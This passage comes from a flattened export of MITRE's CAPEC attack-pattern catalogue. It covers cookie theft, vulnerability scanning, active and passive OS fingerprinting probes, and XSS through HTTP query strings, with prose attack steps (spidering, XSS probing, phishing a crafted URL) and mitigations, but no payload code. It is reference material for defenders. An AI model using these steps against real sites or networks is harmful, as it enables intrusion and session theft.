modification of cookies. Many modern web browsers support this behavior.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence18241 + Consequence_18241 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence18245 + Consequence_18245 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence18249 + Consequence_18249 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Use input validation for cookies</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Generate and validate MAC for cookies</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Use SSL/TLS to protect cookie in transit</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Ensure the web server implements all relevant security patches, many exploitable buffer overflows are fixed in patches issued for the software.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">There are two main attack vectors for exploiting poorly protected session variables like cookies. One is the local machine itself which can be exploited directly at the physical level or indirectly through XSS and phishing. In addition, the adversary in the middle attack (CAPEC-94) relies on a network sniffer, proxy, or other intermediary to intercept the subject's credentials and use them to impersonate the digital subject on the host. The issue is that once the credentials are intercepted, impersonation is trivial for the adversary to accomplish if no other protection mechanisms are in place. See also: CVE-2010-5148 , CVE-2016-0353</xhtml:div> + + + + + 565 + + + + + 302 + + + + + 311 + + + + + 113 + + + + + 539 + + + + + 20 + + + + + 315 + + + + + 384 + + + + + 472 + + + + + 602 + + + + + 642 + + + + + + + + + + + + #indTaxonomyMappingStealWebSessionCookie + Steal Web Session Cookie + + + + + + + + + + + + + + 1539 + + + + + Steal Web Session Cookie + + + + + + + + + + + + #indReferenceReference18285 + Reference_18285 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory18287 + Content_History_18287 + + + + + + + + + + + + + + + + #indSubmissionSubmission18288 + Submission_18288 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification18293 + Modification_18293 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification18299 + Modification_18299 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Phases, Attack_Prerequisites, Description Summary, Examples-Instances, Payload_Activation_Impact, Resources_Required + + + + + + + + + + + + #indModificationModification18305 + Modification_18305 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification18311 + Modification_18311 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification18317 + Modification_18317 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Execution_Flow, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification18323 + Modification_18323 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Example_Instances, Related_Weaknesses + + + + + + + + + + + + #indModificationModification18329 + Modification_18329 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-310 + Scanning for Vulnerable Software + + + + + + + + + 310 + + + + + Scanning for Vulnerable Software + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker engages in scanning activity to find vulnerable software versions or types, such as operating system versions or network services. Vulnerable or exploitable network configurations, such as improperly firewalled systems, or misconfigured systems in the DMZ or external network, provide windows of opportunity for an attacker. Common types of vulnerable software include unpatched operating systems or services (e.g FTP, Telnet, SMTP, SNMP) running on open ports that the attacker has identified. Attackers usually begin probing for vulnerable software once the external network has been port scanned and potential targets have been revealed.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern18342 + Related_Attack_Pattern_18342 + + + + + + + + + + + + + + 541 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access to the network on which the targeted system resides.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Software tools used to probe systems over a range of ports and protocols.</xhtml:div> + + + + + + + + + + + + #indSkillSkill18349 + Skill_18349 + + + + + + + + + + + + + + To probe a system remotely without detection requires careful planning and patience. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Probing requires the ability to interactively send and receive data from a target, whereas passive listening requires a sufficient understanding of the protocol to analyze a preexisting channel of communication.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence18355 + Consequence_18355 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence18359 + Consequence_18359 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 200 + + + + + + + + + + + + #indReferenceReference18371 + Reference_18371 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 56 + + + + + + + + + + + + #indReferenceReference18372 + Reference_18372 + + + + + + + + + REF-128 + + + + + + + + + + + + #indReferenceReference18373 + Reference_18373 + + + + + + + + + REF-130 + + + + + + + + + + + + #indContentHistoryContentHistory18375 + Content_History_18375 + + + + + + + + + + + + + + + + #indSubmissionSubmission18376 + Submission_18376 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification18381 + Modification_18381 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification18387 + Modification_18387 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References, Related_Weaknesses + + + + + + + + + + + + #CAPEC-311 + DEPRECATED: OS Fingerprinting + + + + + + + + + 311 + + + + + DEPRECATED: OS Fingerprinting + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This pattern has been deprecated as it was determined to be an unnecessary layer of abstraction. Please refer to the standard level patterns CAPEC-312 : Active OS Fingerprinting or CAPEC-313 : Passive OS Fingerprinting going forward, or to any of the detailed patterns that are children of them.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory18398 + Content_History_18398 + + + + + + + + + + + + + + + + #indSubmissionSubmission18399 + Submission_18399 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification18404 + Modification_18404 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated References + + + + + + + + + + + + #indModificationModification18410 + Modification_18410 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, References, Related_Attack_Patterns, Resources_Required, Target_Attack_Surface, Target_Attack_Surface_Localities, Target_Attack_Surface_Types, Target_Functional_Services, Targeted_OSI_Layers, Typical_Severity + + + + + + + + + + + + #indModificationModification18416 + Modification_18416 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName18422 + Previous_Entry_Name_18422 + + + + + + + + + 2017-05-01 + + + + + OS Fingerprinting + + + + + + + + + + + + #CAPEC-312 + Active OS Fingerprinting + + + + + + + + + 312 + + + + + Active OS Fingerprinting + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary engages in activity to detect the operating system or firmware version of a remote target by interrogating a device, server, or platform with a probe designed to solicit behavior that will reveal information about the operating systems or firmware in the environment. Operating System detection is possible because implementations of common protocols (Such as IP or TCP) differ in distinct ways. While the implementation differences are not sufficient to 'break' compatibility with the protocol the differences are detectable because the target will respond in unique ways to specific probing activity that breaks the semantic or logical rules of packet construction for a protocol. Different operating systems will have a unique response to the anomalous input, providing the basis to fingerprint the OS behavior. This type of OS fingerprinting can distinguish between operating system types and versions.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern18430 + Related_Attack_Pattern_18430 + + + + + + + + + + + + + + 224 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to monitor and interact with network communications.Access to at least one host, and the privileges to interface with the network interface card.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Any type of active probing that involves non-standard packet headers requires the use of raw sockets, which is not available on particular operating systems (Microsoft Windows XP SP 2, for example). Raw socket manipulation on Unix/Linux requires root privileges.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A tool capable of sending and receiving packets from a remote system.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence18442 + Consequence_18442 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence18446 + Consequence_18446 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 200 + + + + + + + + + + + + #indTaxonomyMappingSystemInformationDiscovery + System Information Discovery + + + + + + + + + + + + + + 1082 + + + + + System Information Discovery + + + + + + + + + + + + #indReferenceReference18463 + Reference_18463 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 56 + + + + + + + + + + + + #indReferenceReference18464 + Reference_18464 + + + + + + + + + REF-128 + + + + + + + + + + + + #indReferenceReference18465 + Reference_18465 + + + + + + + + + REF-212 + + + + + Chapter 8. Remote OS Detection + + + + + + + + + + + + #indReferenceReference18466 + Reference_18466 + + + + + + + + + REF-130 + + + + + + + + + + + + #indContentHistoryContentHistory18468 + Content_History_18468 + + + + + + + + + + + + + + + + #indSubmissionSubmission18469 + Submission_18469 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification18474 + Modification_18474 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Related_Attack_Patterns, Resources_Required, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification18480 + Modification_18480 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References, Related_Weaknesses + + + + + + + + + + + + #CAPEC-313 + Passive OS Fingerprinting + + + + + + + + + 313 + + + + + Passive OS Fingerprinting + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary engages in activity to detect the version or type of OS software in a an environment by passively monitoring communication between devices, nodes, or applications. Passive techniques for operating system detection send no actual probes to a target, but monitor network or client-server communication between nodes in order to identify operating systems based on observed behavior as compared to a database of known signatures or values. While passive OS fingerprinting is not usually as reliable as active methods, it is generally better able to evade detection.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern18494 + Related_Attack_Pattern_18494 + + + + + + + + + + + + + + 224 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to monitor network communications.Access to at least one host, and the privileges to interface with the network interface card.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Any tool capable of monitoring network communications, like a packet sniffer (e.g., Wireshark)</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence18503 + Consequence_18503 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence18507 + Consequence_18507 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 200 + + + + + + + + + + + + #indTaxonomyMappingSystemInformationDiscovery + System Information Discovery + + + + + + + + + + + + + + 1082 + + + + + System Information Discovery + + + + + + + + + + + + #indReferenceReference18524 + Reference_18524 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 56 + + + + + + + + + + + + #indReferenceReference18525 + Reference_18525 + + + + + + + + + REF-128 + + + + + + + + + + + + #indReferenceReference18526 + Reference_18526 + + + + + + + + + REF-212 + + + + + Chapter 8. Remote OS Detection + + + + + + + + + + + + #indReferenceReference18527 + Reference_18527 + + + + + + + + + REF-130 + + + + + + + + + + + + #indContentHistoryContentHistory18529 + Content_History_18529 + + + + + + + + + + + + + + + + #indSubmissionSubmission18530 + Submission_18530 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification18535 + Modification_18535 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Related_Attack_Patterns, Resources_Required, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification18541 + Modification_18541 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References, Related_Weaknesses + + + + + + + + + + + + #indModificationModification18547 + Modification_18547 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-314 + DEPRECATED: IP Fingerprinting Probes + + + + + + + + + 314 + + + + + DEPRECATED: IP Fingerprinting Probes + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This pattern has been deprecated as it was determined to be an unnecessary layer of abstraction. Please refer to the standard level pattern CAPEC-312 : Active OS Fingerprinting going forward, or to any of the detailed patterns that children of CAPEC-312.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory18558 + Content_History_18558 + + + + + + + + + + + + + + + + #indSubmissionSubmission18559 + Submission_18559 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification18564 + Modification_18564 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, References, Related_Attack_Patterns, Resources_Required, Target_Attack_Surface, Target_Attack_Surface_Localities, Target_Attack_Surface_Types, Target_Functional_Services, Targeted_OSI_Layers, Typical_Severity + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName18570 + Previous_Entry_Name_18570 + + + + + + + + + 2017-05-01 + + + + + IP Fingerprinting Probes + + + + + + + + + + + + #CAPEC-315 + DEPRECATED: TCP/IP Fingerprinting Probes + + + + + + + + + 315 + + + + + DEPRECATED: TCP/IP Fingerprinting Probes + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This pattern has been deprecated as it was determined to be an unnecessary layer of abstraction. Please refer to the standard level pattern CAPEC-312 : Active OS Fingerprinting going forward, or to any of the detailed patterns that are children of CAPEC-312.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory18576 + Content_History_18576 + + + + + + + + + + + + + + + + #indSubmissionSubmission18577 + Submission_18577 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification18582 + Modification_18582 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, References, Related_Attack_Patterns, Target_Attack_Surface, Target_Attack_Surface_Localities, Target_Attack_Surface_Types, Target_Functional_Services, Targeted_OSI_Layers, Typical_Severity + + + + + + + + + + + + #indModificationModification18588 + Modification_18588 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName18594 + Previous_Entry_Name_18594 + + + + + + + + + 2017-05-01 + + + + + TCP/IP Fingerprinting Probes + + + + + + + + + + + + #CAPEC-316 + DEPRECATED: ICMP Fingerprinting Probes + + + + + + + + + 316 + + + + + DEPRECATED: ICMP Fingerprinting Probes + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This pattern has been deprecated as it was determined to be an unnecessary layer of abstraction. Please refer to the standard level pattern CAPEC-312 : Active OS Fingerprinting going forward, or to any of the detailed patterns that are children of CAPEC-312.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory18600 + Content_History_18600 + + + + + + + + + + + + + + + + #indSubmissionSubmission18601 + Submission_18601 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification18606 + Modification_18606 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, References, Related_Attack_Patterns, Target_Attack_Surface, Target_Attack_Surface_Localities, Target_Attack_Surface_Types, Target_Functional_Services, Targeted_OSI_Layers, Typical_Severity + + + + + + + + + + + + #indModificationModification18612 + Modification_18612 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName18618 + Previous_Entry_Name_18618 + + + + + + + + + 2017-05-01 + + + + + ICMP Fingerprinting Probes + + + + + + + + + + + + #CAPEC-317 + IP ID Sequencing Probe + + + + + + + + + 317 + + + + + IP ID Sequencing Probe + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This OS fingerprinting probe analyzes the IP 'ID' field sequence number generation algorithm of a remote host. Operating systems generate IP 'ID' numbers differently, allowing an attacker to identify the operating system of the host by examining how is assigns ID numbers when generating response packets. RFC 791 does not specify how ID numbers are chosen or their ranges, so ID sequence generation differs from implementation to implementation. There are two kinds of IP 'ID' sequence number analysis - IP 'ID' Sequencing: analyzing the IP 'ID' sequence generation algorithm for one protocol used by a host and Shared IP 'ID' Sequencing: analyzing the packet ordering via IP 'ID' values spanning multiple protocols, such as between ICMP and TCP.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern18626 + Related_Attack_Pattern_18626 + + + + + + + + + + + + + + 312 + + + + + + + + + + + + #indConsequenceConsequence18629 + Consequence_18629 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence18633 + Consequence_18633 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 200 + + + + + + + + + + + + #indReferenceReference18645 + Reference_18645 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 56 + + + + + + + + + + + + #indReferenceReference18646 + Reference_18646 + + + + + + + + + REF-128 + + + + + + + + + + + + #indReferenceReference18647 + Reference_18647 + + + + + + + + + REF-212 + + + + + Chapter 8. Remote OS Detection + + + + + + + + + + + + #indReferenceReference18648 + Reference_18648 + + + + + + + + + REF-130 + + + + + + + + + + + + #indContentHistoryContentHistory18650 + Content_History_18650 + + + + + + + + + + + + + + + + #indSubmissionSubmission18651 + Submission_18651 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification18656 + Modification_18656 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Related_Attack_Patterns, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification18662 + Modification_18662 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description, Description Summary, References, Related_Weaknesses + + + + + + + + + + + + #CAPEC-318 + IP 'ID' Echoed Byte-Order Probe + + + + + + + + + 318 + + + + + IP 'ID' Echoed Byte-Order Probe + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This OS fingerprinting probe tests to determine if the remote host echoes back the IP 'ID' value from the probe packet. An attacker sends a UDP datagram with an arbitrary IP 'ID' value to a closed port on the remote host to observe the manner in which this bit is echoed back in the ICMP error message. The identification field (ID) is typically utilized for reassembling a fragmented packet. Some operating systems or router firmware reverse the bit order of the ID field when echoing the IP Header portion of the original datagram within an ICMP error message.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern18676 + Related_Attack_Pattern_18676 + + + + + + + + + + + + + + 312 + + + + + + + + + + + + #indConsequenceConsequence18679 + Consequence_18679 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence18683 + Consequence_18683 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 200 + + + + + + + + + + + + #indReferenceReference18695 + Reference_18695 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 56 + + + + + + + + + + + + #indReferenceReference18696 + Reference_18696 + + + + + + + + + REF-128 + + + + + + + + + + + + #indReferenceReference18697 + Reference_18697 + + + + + + + + + REF-212 + + + + + Chapter 8. Remote OS Detection + + + + + + + + + + + + #indReferenceReference18698 + Reference_18698 + + + + + + + + + REF-130 + + + + + + + + + + + + #indContentHistoryContentHistory18700 + Content_History_18700 + + + + + + + + + + + + + + + + #indSubmissionSubmission18701 + Submission_18701 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification18706 + Modification_18706 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Related_Attack_Patterns, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification18712 + Modification_18712 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References, Related_Weaknesses + + + + + + + + + + + + #CAPEC-319 + IP (DF) 'Don't Fragment Bit' Echoing Probe + + + + + + + + + 319 + + + + + IP (DF) 'Don't Fragment Bit' Echoing Probe + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This OS fingerprinting probe tests to determine if the remote host echoes back the IP 'DF' (Don't Fragment) bit in a response packet. An attacker sends a UDP datagram with the DF bit set to a closed port on the remote host to observe whether the 'DF' bit is set in the response packet. Some operating systems will echo the bit in the ICMP error message while others will zero out the bit in the response packet.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern18727 + Related_Attack_Pattern_18727 + + + + + + + + + + + + + + 312 + + + + + + + + + + + + #indConsequenceConsequence18730 + Consequence_18730 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence18734 + Consequence_18734 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 200 + + + + + + + + + + + + #indReferenceReference18746 + Reference_18746 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 56 + + + + + + + + + + + + #indReferenceReference18747 + Reference_18747 + + + + + + + + + REF-128 + + + + + + + + + + + + #indReferenceReference18748 + Reference_18748 + + + + + + + + + REF-212 + + + + + Chapter 8. Remote OS Detection + + + + + + + + + + + + #indReferenceReference18749 + Reference_18749 + + + + + + + + + REF-130 + + + + + + + + + + + + #indContentHistoryContentHistory18751 + Content_History_18751 + + + + + + + + + + + + + + + + #indSubmissionSubmission18752 + Submission_18752 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification18757 + Modification_18757 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Related_Attack_Patterns, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification18763 + Modification_18763 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References, Related_Weaknesses + + + + + + + + + + + + #CAPEC-32 + XSS Through HTTP Query Strings + + + + + + + + + 32 + + + + + XSS Through HTTP Query Strings + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary embeds malicious script code in the parameters of an HTTP query string and convinces a victim to submit the HTTP request that contains the query string to a vulnerable web application. The web application then procedes to use the values parameters without properly validation them first and generates the HTML code that will be executed by the victim's browser.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern18777 + Related_Attack_Pattern_18777 + + + + + + + + + + + + + + 591 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern18778 + Related_Attack_Pattern_18778 + + + + + + + + + + + + + + 588 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern18779 + Related_Attack_Pattern_18779 + + + + + + + + + + + + + + 592 + + + + + + + + + + + + #indAttackStepAttackStep18782 + Attack_Step_18782 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the application for public links] Using a browser or an automated tool, an adversary follows all public links on a web site. They record all the links they find.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how it is constructed. Many browser's plugins are available to facilitate the analysis or automate the URL discovery.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep18790 + Attack_Step_18790 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe public links for XSS vulnerability] The adversary uses the public links gathered in the "Explore" phase as a target list and requests variations on the URLs they spidered before. They send parameters that include variations of payloads. They record all the responses from the server that include unmodified versions of their script.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a list of XSS probe strings to inject in parameters of known URLs. If possible, the probe strings contain a unique identifier.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record results of manual input of XSS probes in known URLs.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep18797 + Attack_Step_18797 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft malicious XSS URL] Once the adversary has determined which parameters are vulnerable to XSS, they will craft a malicious URL containing the XSS exploit. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from the victim.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Change a URL parameter to include a malicious script tag.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send information gathered from the malicious script to a remote endpoint.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep18804 + Attack_Step_18804 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Get victim to click URL] In order for the attack to be successful, the victim needs to access the malicious URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send a phishing email to the victim containing the malicious URL. This can be hidden in a hyperlink as to not show the full URL, which might draw suspicion.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Put the malicious URL on a public forum, where many victims might accidentally click the link.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Target client software must allow scripting such as JavaScript. Server software must allow display of remote generated HTML without sufficient input or output validation.</xhtml:div> + + + + + + + + + + + + #indSkillSkill18816 + Skill_18816 + + + + + + + + + + + + + + To place malicious payload on server via HTTP + + + + + + + + + + + + #indSkillSkill18817 + Skill_18817 + + + + + + + + + + + + + + Exploiting any information gathered by HTTP Query on script host + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ability to send HTTP post to scripting host and collect output</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence18823 + Consequence_18823 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence18827 + Consequence_18827 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Use browser technologies that do not allow client side scripting.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Utilize strict type, character, and encoding enforcement</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Server side developers should not proxy content via XHR or other means, if a http proxy for remote content is setup on the server side, the client's browser has no way of discerning where the data is originating from.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification.</xhtml:div> + + + + + 